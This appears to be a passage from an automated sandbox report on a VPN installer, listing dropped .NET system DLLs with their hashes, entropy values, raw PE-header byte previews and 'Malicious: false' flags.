Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...B..Y.........." ..0.............>)... ...@....... ....................................@..................................(..O....@..`................+...`.......'............................................... ............... ..H............text...D.... ...................... ..`.rsrc...`....@......................@..@.reloc.......`......................@..B................ )......H.......P ......................4'......................................BSJB............v4.0.30319......l.......#~..........#Strings............#US.........#GUID...........#Blob......................3......................................z...........@...\.@...0.-...`.....D.................C.................[.....x.....-.........................'.....'.....'...).'...1.'...9.'...A.'...I.'...Q.'...Y.'...a.'...i.'...q.'.......................#.....+.....3.....;.#...C.>...K.^...S.

C:\Program Files (x86)\letsvpn\app-3.7.0\System.Runtime.Serialization.Primitives.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	21992
Entropy (8bit):	6.600904799477403
Encrypted:	false
SSDEEP:	384:d8R71h7yzt94dHWFgQBVWeHWFyTBVWHApwKANynsAw/98E9VF3AM+o5NgJbSTTt:81dyAqgQBfqyTBeAw/KENAMx5mYvt
MD5:	0AAFD15B62DAF8E1CC9A828D6E005D20
SHA1:	83E8AB9DA757632AEA51D8FCCB1F6037C75CDA5D
SHA-256:	ABF28DDF5BA35DA1FE953DE121B919D7A2F9DDE53D3ECECDFFFFF2021F2B3A88
SHA-512:	76E0A83A59C8DB51891482906FC5FEA74ED0C727AEA102FBC2866D78D426B3F29CA3DA21A286AB59B784B155D1199F5FAA4A98718515D15CCC83D9FE28E5860D
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......Z.........." ..0..............8... ...@....... ....................................@..................................8..O....@..8...............+...`.......7............................................... ............... ..H............text........ ...................... ..`.rsrc...8....@......................@..@.reloc.......`.......(..............@..B.................8......H.......\|!..l............1..p...X7......................................j~....%-.&(....s....%..........0..$.........(.....o.......&...,....o....,.....................,!(....,..r...p.(....(......(......(....,.r...p......%...%...(......(.....(....,.r...p......%...%...%...(.......(.....(....,!r...p......%...%...%...%...(........(....2r...p.(..........(......BSJB............v4.0.30319......l.......#~..h.......#Strings....\...4...#US.........#GUID...........#Blob...

C:\Program Files (x86)\letsvpn\app-3.7.0\System.Runtime.Serialization.Xml.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	19944
Entropy (8bit):	6.74011046147318
Encrypted:	false
SSDEEP:	384:ypsBljcZQIVI8CNwbcyMWs4oBOW9MWG4tBOW2KpwKANynsAw/98E9VF3AM+owimK:4sPMQMI8COYyi4oBNw4tBqAw/KENAMxx
MD5:	CBDC17202266F634C5069B562B6CB5A0
SHA1:	F32B73EF640CA7F068ECB3A147738CFE9F970C0D
SHA-256:	E0DB073C07CFAB4A29006A5C1874994B38E87E4C93233B3691BAD8839B379079
SHA-512:	E64CBA608FA5B3FA88ECD42ACB3C817003FAF2DDBD97E6D3A974655C240F8AFB0ADAF37EC597E4F1C0006F4F0F74DD8B1DE268207777303064E64E4CD4D85F6D
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......Z.........." ..0..............3... ...@....... ...............................l....@..................................3..O....@..............."...+...`.......2............................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`....... ..............@..B.................3......H........!..0...................L2.......................................s......s......0...........o....u......,..o......0..%........s..........(....r...p.$o......o....:.(......}......{.....(....z.(....z6.{.....o....:.{......o.....(....z:.{......o.....(....z.(....z.BSJB............v4.0.30319......l.......#~.. .......#Strings....$...0...#US.T.......#GUID...d.......#Blob...........W..........3............................................................................

C:\Program Files (x86)\letsvpn\app-3.7.0\System.Runtime.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	24552
Entropy (8bit):	6.391407248385007
Encrypted:	false
SSDEEP:	384:2bhigwLAuZtM66g/Id7WVXWl9pwKANynsAw/98E9VF3AM+oVu46/VmeY:2bhzkKsDAw/KENAMx7UY
MD5:	F5316D5E6D212490397ED265B4AA0F37
SHA1:	CD3A01E05984CE99FEB33338AAB2FC1F76DD44CD
SHA-256:	260209A9CAC746A4DA6DF7FF5950E6782919D025970C23B4A69D194859F28EB8
SHA-512:	67F1B218AE0BC9B40C500B16C9D1CEC5CD14242E2EDC9F88A4DDE2658D40A5F59B98943869813103B0733070E9DD92ECB484399F2C1BD34F93A31AAE949BB8EB
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...A..Y.........." ..0............"H... ...`....... ..............................`h....@..................................G..O....`...............4...+...........F............................................... ............... ..H............text...((... ..................... ..`.rsrc........`.......,..............@..@.reloc...............2..............@..B.................H......H.......P ...%...................F......................................BSJB............v4.0.30319......l.......#~..........#Strings.....#......#US..#......#GUID....#......#Blob......................3................................................_.........................8.....8....8.....8.....8.....8.....8.....8..........8.................................).....1.....9.....A.....I.....Q.....Y.....a.....i.....q.........................#.....+.....3.....;.....C.+...K.K...S.

C:\Program Files (x86)\letsvpn\app-3.7.0\System.Security.AccessControl.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	37864
Entropy (8bit):	6.113294034752602
Encrypted:	false
SSDEEP:	384:zPlIF91FhktexyvaMAdB+w3G5h9MF4YfzMfpcrqmf9wEJqIxVRvFNgfBkyN17xWM:blM7Ke5/WBkyN1h2Aw/KENAMxeQF/GH
MD5:	B908CD7ACACF57942271E00070A1FA7D
SHA1:	6E870A4E00BF32E226028CA6E2A8DFA94F2FB46E
SHA-256:	B830A073904321782C11AB5E3DB261D9E3BA2BE5F880C1D8CCF2A79248AF9729
SHA-512:	5CC65866475BB48524265BDDC4EBAEDF7DB9265A214762D7F554882B54BD2560009BA67D49E2F9ACC13FB8FB1ECEE29497F11EA5F8F79B87B8CA3F20616E58C8
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L................." ..0..Z...........x... ........... ...............................x....`..................................x..O....................h...+...........w..T............................................ ............... ..H............text....X... ...Z.................. ..`.rsrc................\..............@..@.reloc...............f..............@..B.................x......H........%..p5..........P[.......w.......................................~......0..........(....,....(.....o.......&......................0...........(.......(....-..,....(....,.r...p......%...%...(......(.....(....,.r...p......%...%...%...(.......(.....(....,!r...p......%...%...%...%...(........(......,&(....,..r...pr...p.(....(......(......(....,.r...p......%...%...(.......(.....(....,.r...p......%...%...%...(........(.....(....,"r...p......%...%...%...%..

C:\Program Files (x86)\letsvpn\app-3.7.0\System.Security.Claims.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	16360
Entropy (8bit):	6.91934807837682
Encrypted:	false
SSDEEP:	384:VUcX6W9aWetpwKANynsAw/98E9VF3AM+okHcXJPUP:VUchZAw/KENAMxHXqP
MD5:	AAB19A69B3EDF4A652C591EF9FD7DB28
SHA1:	D7A0FC149457C5D763E5509C4FA284719230BABB
SHA-256:	BFD61CFA99C7AAE0861004F4D0F57FC412A29F6407C9841DA2AC63040C8F25FD
SHA-512:	B7921502E28EFD55085835BF63B5EA9AD59DE7366B41B251682D023A020421B0F8E0D1342E4A46F2B7B208D3EBE16B3001376B8EA1F88301B8BEF686B54E745A
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...B..Y.........." ..0.............B)... ...@....... ..............................K.....@..................................(..O....@...................+...`.......'............................................... ............... ..H............text...H.... ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B................$)......H.......P ......................8'......................................BSJB............v4.0.30319......l.......#~..<.......#Strings............#US.........#GUID...........#Blob......................3......................................................\.....0.....(.....D.................C.................[.....x.....-.........................................).....1.....9.....A.....I.....Q.....Y.....a.....i.....q.........................#.....+.....3.....;.....C.3...K.S...S.

C:\Program Files (x86)\letsvpn\app-3.7.0\System.Security.Cryptography.Algorithms.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	41960
Entropy (8bit):	6.008639993845578
Encrypted:	false
SSDEEP:	768:SoBj7kS+8mjvHTeaWKs0Sd4eedAw/KENAMxj:BPmb9WKs0PeedAwrxj
MD5:	A45146CB7A8CE3C028ED19213E3B567E
SHA1:	65C17BC3941EE34E8062911AABBEC98379262CE0
SHA-256:	F738F16DFACBF64EF667BDEFEA5EA4D80119DD673690BFB73D10E170364E709B
SHA-512:	1F967B8F8A98A951AE6C9F4E3BE5793735B454A0EEAD09455A62FD9B689516810B920F1B74E166877C9035CDC43A33AEE4E37B0CD95B77EF67C9E853655A5A3B
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......Z.........." ..0..h.............. ........... ....................................@.................................u...O.......8............x...+........................................................... ............... ..H............text....f... ...h.................. ..`.rsrc...8............j..............@..@.reloc...............v..............@..B........................H.......P'..\8..........._...%..,.......................................j~....%-.&(F...s....%..........0..$.........(.....o.......&...,....o....,.....................,!(....,..r...p.(....(......(......(....,.r...p......%...%...(......(.....(....,.r...p......%...%...%...(.......(.....(....,!r...p......%...%...%...%...(........(....2r...p.(....2rI..p.(....2r...p.(....2r...p.(....2r...p.(....2r...p.(....2r9..p.(....2rm..p.(....2r...p.(....2r...p.(....*2r=..

C:\Program Files (x86)\letsvpn\app-3.7.0\System.Security.Cryptography.Cng.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	20968
Entropy (8bit):	6.740409637923953
Encrypted:	false
SSDEEP:	384:KedtuO/q3p4YN5XYwWCfWCgPpwKANynsAw/98E9VF3AM+o1O6T:KeJSZBXY4I+Aw/KENAMxM8
MD5:	841522B4F5BE2B3B6BA1DAB6AEC8D8F8
SHA1:	FBEE9376666DCC5B8D36ACE81EF843B672C77B81
SHA-256:	2F3A70A68A089A8407E8FBD117E60832833B4D21AD48FEE9CE35A5990ECE1C27
SHA-512:	274131ED9D22F452B69F3FF09E42C1CFCCF2928C9527CE2E45D2E75093A2B8B869A0FCC833B645BF8FA3ED6AB4575D7BF904FAFFFAEA8686F427ADECF29E8006
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...q............." ..0.............j:... ...@....... ....................................`..................................:..O....@...............&...+...`.......9..T............................................ ............... ..H............text...p.... ...................... ..`.rsrc........@......................@..@.reloc.......`.......$..............@..B................L:......H.......\|!..............t6.. ....8......................................:.(......}......{...."..(...."..(...."..(......(......(......(......(....:.(......}......{....:.(......}......{....:.(......}......{......(....:.(......}......{....^.(...........%...}....:.(......}......{....z.(......}...........%...}....V.(......}......}......{......{....*..BSJB............v4.0.30319......l.......#~..@.......#Strings....T.......#US.X.......#GUID...h.......#Blob...

C:\Program Files (x86)\letsvpn\app-3.7.0\System.Security.Cryptography.Csp.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	16360
Entropy (8bit):	6.948155823281706
Encrypted:	false
SSDEEP:	384:WoTI2pWPzWXbpwKANynsAw/98E9VF3AM+oColk:vE3fAw/KENAMxrk
MD5:	07AF657FA36485F8DCF3024E9D9DF120
SHA1:	CBE6E6E4833E52311E4F3A12F76D7B861E2C3783
SHA-256:	83329E17DBE093394B45BE306E375CECFDF13B4444B741DA5C8A223055DF9463
SHA-512:	A715240658E6D0DAA4B388BCC66FB426020F32EBE4291743F35114C5EC684085FE9681D66969562E07F738FB0B5BD11D3F8BDBBD45370DF7D812B3E0785E201A
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...B..Y.........." ..0.............^)... ...@....... ....................................@..................................)..O....@..`................+...`.......'............................................... ............... ..H............text...d.... ...................... ..`.rsrc...`....@......................@..@.reloc.......`......................@..B................@)......H.......P ......................T'......................................BSJB............v4.0.30319......l.......#~..,.......#Strings............#US.........#GUID...........#Blob......................3......................................z...........A...\.A...0.....a.....D.................C.................[.....x.....-.........................(.....(.....(...).(...1.(...9.(...A.(...I.(...Q.(...Y.(...a.(...i.(...q.(.......................#.....+.....3.....;."...C.=...K.]...S.

C:\Program Files (x86)\letsvpn\app-3.7.0\System.Security.Cryptography.Encoding.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	16360
Entropy (8bit):	6.959924662620125
Encrypted:	false
SSDEEP:	384:ocezoy4W04W3+jpwKANynsAw/98E9VF3AM+oJz43M2z:oBzoy+nAw/KENAMxaf
MD5:	6E479108D89131E47325C613835E7A67
SHA1:	A87ADC0B2889795EBE2EEFC720E2A9D9E358200B
SHA-256:	BD3F4EC450E4A1789DFE5AF83421FCCC9EFEE12DC9D2755D9BB23B0AB0DAE270
SHA-512:	87DFA337AF68DE3364022AC3126CE17EE9CB2DC924792ABB893409F6CC0684248DE3E53A07447E8881C7B83AFD3E5C255BBFBB795EA59281899E34230C0E7B82
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...B..Y.........." ..0.............~)... ...@....... ...............................J....@.................................,)..O....@...................+...`.......'............................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B................`)......H.......P ..$...................t'......................................BSJB............v4.0.30319......l.......#~..<.......#Strings............#US.........#GUID....... ...#Blob......................3..................................................f...o.f...C.S.........W.................V...........%.....n...........@.....)...................M.....M.....M...).M...1.M...9.M...A.M...I.M...Q.M...Y.M...a.M...i.M...q.M.......................#.....+.....3.....;.'...C.B...K.b...S.

C:\Program Files (x86)\letsvpn\app-3.7.0\System.Security.Cryptography.Pkcs.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	21992
Entropy (8bit):	6.706723910215356
Encrypted:	false
SSDEEP:	384:vyBGXZp94Yi06W82WblpwKANynsAw/98E9VF3AM+owI0d3Nj95:mmZp9ZwQAw/KENAMxGdt
MD5:	C39270CAA45F880EE80CE8CFDDFB8BE4
SHA1:	9FA647B7DD989BC9CCBC90A4F30E4D191C8E178B
SHA-256:	68D44D298A5D557BCEECFCD3E7BE7915731EA4EA98E773AE81EA22A38E12C0A0
SHA-512:	9E2CC9CF2B10B2984E81777FFDA03B60DBE38FEDD8FA26250C6C6424AA2B4F57D0AD5FA189F73DB4085BB64ABE5660B3384F5A64C84F9745DE425C9DD9312145
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....J..........." ..0.............Z=... ...@....... ..............................A....`..................................=..O....@..X...............+...`.......<..T............................................ ............... ..H............text...`.... ...................... ..`.rsrc...X....@....... ..............@..@.reloc.......`.......(..............@..B................;=......H........!..............d9.. ....;......................................:.(......}......{...."..(...."..(...."..(...."..(...."..(......(......(......(......(....:.(......}......{....:.(......}......{....:.(......}......{......(....:.(......}......{....^.(...........%...}....:.(......}......{....z.(......}...........%...}....V.(......}......}......{......{....*BSJB............v4.0.30319......l...h...#~......0...#Strings............#US.........#GUID...

C:\Program Files (x86)\letsvpn\app-3.7.0\System.Security.Cryptography.Primitives.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	16872
Entropy (8bit):	6.855205421046032
Encrypted:	false
SSDEEP:	384:uH/JWKpWu7pwKANynsAw/98E9VF3AM+oW4A4:uH/jMAw/KENAMxV
MD5:	F855E3307E1AAD4F5AF27A054C61E492
SHA1:	B71EA5F344AA79D7AE334233F302CCD1B8B4B980
SHA-256:	DA07E4B8309FA157EBC51F2BBFB36BF39DFB8015ED008D1273DC245BECBD333E
SHA-512:	5280886ECE8EFB644F7592A100199CE99393017D028923CD018EB8CC13B0BD0ACDD1223CB25756DCCD6445ED0960E388FA5912099BBE62CF2C65B30BD837B75A
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...B..Y.........." ..0............."... ...@....... ..............................p.....@..................................)..O....@...................+...`.......(............................................... ............... ..H............text...(.... ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.......................H.......P .......................(......................................BSJB............v4.0.30319......l...$...#~..........#Strings............#US.........#GUID....... ...#Blob......................3............................................................o.s...........D.....D.....D.....D...8.D...Q.D.....D.....D...l.....U.D.................m.....m.....m...).m...1.m...9.m...A.m...I.m...Q.m...Y.m...a.m...i.m...q.m.......................#.....+.....3.....;.)...C.D...K.d...S.

C:\Program Files (x86)\letsvpn\app-3.7.0\System.Security.Cryptography.ProtectedData.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	20968
Entropy (8bit):	6.777414006114725
Encrypted:	false
SSDEEP:	384:d4YlS5PWAb6jDW3ipwKANynsAw/98E9VF3AM+oHBMpo:dmY+Aw/KENAMxhj
MD5:	8041547FA4F9BE1318BB80AB29901355
SHA1:	A7A349D71A8994E5CF6D764AA99C67E8BF3B8EBF
SHA-256:	4844B9F4A31796B233C9082916234091574000C51C55A59A23E682DB21F83878
SHA-512:	0C94775BC11990D3EAD334A1C44A76C7E242CA46B79A5B4CD61520CCBC993A932AE57EB66E3F10FEE496649C78D19659A8306FB8004740851E8FF77A6ACB037D
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...H.W..........." ..0..............9... ...@....... ..............................>.....`.................................M9..O....@...............&...+...`......88..T............................................ ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`.......$..............@..B.................9......H........!...............5..0....7......................................:.(......}......{...."..(...."..(...."..(...."..(...."..(......(......(......(......(....:.(......}......{....:.(......}......{....:.(......}......{......(....:.(......}......{....^.(...........%...}....:.(......}......{....z.(......}...........%...}....V.(......}......}......{......{....*BSJB............v4.0.30319......l.......#~..0.......#Strings............#US.........#GUID...

C:\Program Files (x86)\letsvpn\app-3.7.0\System.Security.Cryptography.X509Certificates.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	17896
Entropy (8bit):	6.803496403021755
Encrypted:	false
SSDEEP:	384:mTjbocNsWMhWz/pwKANynsAw/98E9VF3AM+oCyX22lFWalsz:mboYypAw/KENAMx1RWr
MD5:	458F2792F855051C6E3D8BC2B0D3F79F
SHA1:	BC3EFC2926ABF19FB80D93AC7610E1A5E881B75C
SHA-256:	B683D0F746885A8977A50C1B43338C9DE83D13346E5ABBF1857BC57F7C08C10D
SHA-512:	0E9F7C8AAEA94F63B43DDFD4344A3F360EA156BE4EFF4FACCF31A28E9C47B87C9A64223F2043B7F12AAF81C3B3504C1D57E44577D722F70941E6F9C6449CB057
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...B..Y.........." ..0.................. ...@....... ..............................k]....@..................................-..O....@...................+...`.......,............................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................-......H.......P .......................,......................................BSJB............v4.0.30319......l.......#~......\|...#Strings....x.......#US.\|.......#GUID.......(...#Blob......................3................................'.....).........u.................=......."...:."...W.".....".....".....".....".....".....[.....".................................).....1.....9.....A.....I.....Q.....Y.....a.....i.....q.........................#.....+.....3.....;./...C.J...K.j...S.

C:\Program Files (x86)\letsvpn\app-3.7.0\System.Security.Cryptography.Xml.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	51688
Entropy (8bit):	5.827593513547543
Encrypted:	false
SSDEEP:	768:7szrvuWznnuJlMeEM8Hy8d4Vx50lAhDVC+6Aw/KENAMxFLJ:7grvuqcP8RE5tQ+6AwrxX
MD5:	AA951918AFCB1227B16C12759EE52361
SHA1:	F026C0033AE8B708DD75616533F9D0947E5AFCF9
SHA-256:	9B474D8C10496969E0DA6306DE0CFDDD88BC042855BAE5FE229900BCAA923453
SHA-512:	2A9B4C881A67209C04E11A9FA7733E1C00306462F88D1197D0BD42BDB9C47899127D8215539C46AFEA2A544F98721D1FEC453FB0C2CFEFA5B0CD21C963DF4E6B
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L................." ..0................. ........... ..............................D.....`.....................................O.......4................+..............T............................................ ............... ..H............text....... ...................... ..`.rsrc...4...........................@..@.reloc..............................@..B.......................H........&...K...........q.. ............................................~......0..........(....,....(.....o.......&......................0...........(.......(....-..,....(....,.r...p......%...%...(......(.....(....,.r...p......%...%...%...(.......(.....(....,!r...p......%...%...%...%...(........(......,&(....,..r...pr...p.(....(......(......(....,.r...p......%...%...(.......(.....(....,.r...p......%...%...%...(........(.....(....,"r...p......%...%...%...%..

C:\Program Files (x86)\letsvpn\app-3.7.0\System.Security.Permissions.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	29672
Entropy (8bit):	6.385149831312396
Encrypted:	false
SSDEEP:	768:x47XzsCggQsW7Sl8xjP/QZsAw/KENAMxG:m7XgpRxb/ksAwrxG
MD5:	952FB69041A3ADC1AE00D975693303DB
SHA1:	D4952E7CB2406A43E2830241138322DE0A46373B
SHA-256:	620012CA3AEBF21D548A17EEA00EE9C79BC2EB3E9432D1E563CB9BD51B4CF47F
SHA-512:	39843357ECFB48505A2B68D374A1060523B787FFF8DCA3009CC1B6D6AE3426B84B3BD7064B55F06E015063D7D538D62E2657AE5DB700B13F9DECDCD85CAFC2C9
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...0............." ..0..>..........r]... ...`....... ....................................`..................................]..O....`...............H...+..........(\..T............................................ ............... ..H............text...x=... ...>.................. ..`.rsrc........`.......@..............@..@.reloc...............F..............@..B................S]......H........#...2..........0U..x....[.......................................~......0..........(....,....(.....o.......&......................0...........(.......(....-..,....(....,.r...p......%...%...(......(.....(....,.r...p......%...%...%...(.......(.....(....,!r...p......%...%...%...%...(........(......,&(....,..r...pr...p.(....(......(......(....,.r...p......%...%...(.......(.....(....,.r...p......%...%...%...(........(.....(....,"r...p......%...%...%...%..

C:\Program Files (x86)\letsvpn\app-3.7.0\System.Security.Principal.Windows.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	20456
Entropy (8bit):	6.765031058960111
Encrypted:	false
SSDEEP:	384:uEwo6eTs14YY4cWpOWsgpwKANynsAw/98E9VF3AM+oKmAgqx3:LwDdTaAw/KENAMxHq
MD5:	5F0B08C73356BEC164D3E8C9BE85AD13
SHA1:	C627AD3F37A4AB7FD05336413FD97F541CDD0132
SHA-256:	464DAA5272DE2A51C97B3C490B20C620B062301723961A3E5EE31AD1E8D9041F
SHA-512:	066219C54B4D73552D5CA467F37EC35B2B20E6418A17593028EEFD015119673384BCA515F17104828654C61450966ED0A0A5CEFD20AF45E63886BB9468A22062
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....r..........." ..0.............V8... ...@....... ....................................`..................................8..O....@...............$...+...`.......6..T............................................ ............... ..H............text...\.... ...................... ..`.rsrc........@......................@..@.reloc.......`......."..............@..B................68......H.......\|!..............\4.. ...\|6......................................:.(......}......{...."..(...."..(...."..(......(......(......(......(....:.(......}......{....:.(......}......{....:.(......}......{......(....:.(......}......{....^.(...........%...}....:.(......}......{....z.(......}...........%...}....V.(......}......}......{......{....*..BSJB............v4.0.30319......l.......#~..@.......#Strings....8.......#US.<.......#GUID...L.......#Blob...

C:\Program Files (x86)\letsvpn\app-3.7.0\System.Security.Principal.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	16360
Entropy (8bit):	6.900638971942071
Encrypted:	false
SSDEEP:	384:0SKiWIhW3FpwKANynsAw/98E9VF3AM+oTYIi/23:0SK8PAw/KENAMxEV23
MD5:	D2118FC496BABF725E0C6936C58A1EB6
SHA1:	A5C34F2E22BE6CD77C7C7DD6B07F1A99A98EFF0D
SHA-256:	2A3CB2F788D5A1D417C27634BDF3DBFD126F2115EC2A20C006A98BFC225E0856
SHA-512:	6743A9DCE0DE03C4195E5E257E7707C1A3444808AF7ECA80265A60C1BDCD45CF7644B1CD1FF3E83EE9555B0F9C328F2A9559313251447A344977A8C1812B1023
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...B..Y.........." ..0..............(... ...@....... ...................................@.................................t(..O....@.. ................+...`......<'............................................... ............... ..H............text........ ...................... ..`.rsrc... ....@......................@..@.reloc.......`......................@..B.................(......H.......P ..l....................&......................................BSJB............v4.0.30319......l.......#~......@...#Strings....D.......#US.H.......#GUID...X.......#Blob......................3......................................................\.....0.....'.....D.................C.................[.....x.....-.........................................).....1.....9.....A.....I.....Q.....Y.....a.....i.....q.........................#.....+.....3.....;.....C.6...K.V...S.

C:\Program Files (x86)\letsvpn\app-3.7.0\System.Security.SecureString.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	17384
Entropy (8bit):	6.844144052995077
Encrypted:	false
SSDEEP:	384:c0KbZWApWmWTpWrKpwKANynsAw/98E9VF3AM+oLCi4AR:zKRycAw/KENAMxOMR
MD5:	F2CC1DC1F03CC9C92BC89FE4405943E8
SHA1:	5691089B293B0B91C67F353DBB7CDCA83AB16F37
SHA-256:	909185B927ED874D68B8C6A048E28F36C72FE419507FEF313CEEC211AD9B1F8D
SHA-512:	49ABB3FA38755A927DB8404383C8FC90CB2885086BECED9FFFAD1593F976BA601F6D85626203C870DB4048CC5DCAA9D536EE3755348999377D43B042D6C1BEC6
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......Z.........." ..0..............)... ...@....... ...................................@.................................>)..O....@...................+...`.......(............................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B................r)......H.......p .......................(........................................(......(......(......(....BSJB............v4.0.30319......l.......#~..........#Strings....`.......#US.h.......#GUID...x...(...#Blob...........G..........3.............................................."...........C...........u...............m.b...........J.....J.....J.....J...6.J...O.J.....J.....J...j.C...S.J.............................P ............X ............` ......4.....h ....................

C:\Program Files (x86)\letsvpn\app-3.7.0\System.ServiceModel.Duplex.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	16360
Entropy (8bit):	6.919704417105062
Encrypted:	false
SSDEEP:	384:mLH9W5nOW80pwKANynsAw/98E9VF3AM+oPwjijX:mL4iAw/KENAMxUCX
MD5:	1822C2DC120A282029B8FE16A00CD0EC
SHA1:	65AFE00281B63165D7AE4D86949EE288C1FDF451
SHA-256:	6A8A828A47D26DC8197F27E84865D9DC3F14B692F40B39C320C1EA258CBDA291
SHA-512:	5E0B725079A30B431CFE285BC6053660ABA31D3BF9D15F6C94C00526A567DBE37A4A2A39AA65E89DC9759078C6CCC47EF2D3713A3E02FE3BE163B310868694AB
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....y............" ..0..............)... ...@....... ...............................l....`..................................(..O....@..p................+...`.......'..T............................................ ............... ..H............text...$.... ...................... ..`.rsrc...p....@......................@..@.reloc.......`......................@..B.................)......H.......P ......................X'......................................BSJB............v4.0.30319......l.......#~..D.......#Strings............#US.........#GUID.......$...#Blob......................3................................................*.0.....0...g.....P...........M...........c.......................J.....{.....~.......+...........................).....1.....9.....A.....I.....Q.....Y.....a.....i.....q.........................#.....+.....+.8...+.N...3.d...;.....C.

C:\Program Files (x86)\letsvpn\app-3.7.0\System.ServiceModel.Http.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	17384
Entropy (8bit):	6.825101761819289
Encrypted:	false
SSDEEP:	384:QlbWvX+WXjpwKANynsAw/98E9VF3AM+opp8IUPb84ew:Q2KAw/KENAMxUTz8+
MD5:	400A4CA7A25350BDE4F1AD1B804EC6D4
SHA1:	39B58AE25B83C4EABCC14542CC8B41045DBADDB9
SHA-256:	7A55EC7FAEB07B10419BF1C65A63C894FD61AFF9A35837F20CFD0CBAD1E98909
